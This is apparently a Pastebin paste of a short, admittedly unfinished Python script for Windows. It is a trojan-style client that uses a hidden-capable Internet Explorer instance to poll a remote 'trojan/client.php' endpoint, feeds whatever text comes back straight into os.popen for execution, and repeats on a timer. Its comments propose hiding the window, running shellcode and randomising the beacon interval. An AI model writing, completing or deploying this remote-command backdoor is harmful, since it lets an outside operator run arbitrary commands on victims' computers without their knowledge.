Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # Syntax is off ill fix it later
- from time import sleep
- import win32com.client
- import os
- ie = win32com.client.Dispatch("InternetExplorer.Application")
- def download_url_with_ie(url):
- ie.Visible = 1 # make this 0, if you want to hide IE window
- ie.Navigate(url)
- if ie.Busy:
- sleep(5)
- text = ie.Document.body.innerHTML #all this stripping shit is onl for when it actually uses php
- text = unicode(text)
- text = text.encode('ascii','ignore')
- return text
- # ie.Quit()
- # print text
- while 1:
- data=download_url_with_ie('https://www.offensivesecurity.com/trojan/client.php')
- print data # only for debugging
- os.popen(data) #instead, a simple C loop to execute shellcode
- sleep(30) # Make this sleep RANDOMTIME BETWEEN 30-60 MINS
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement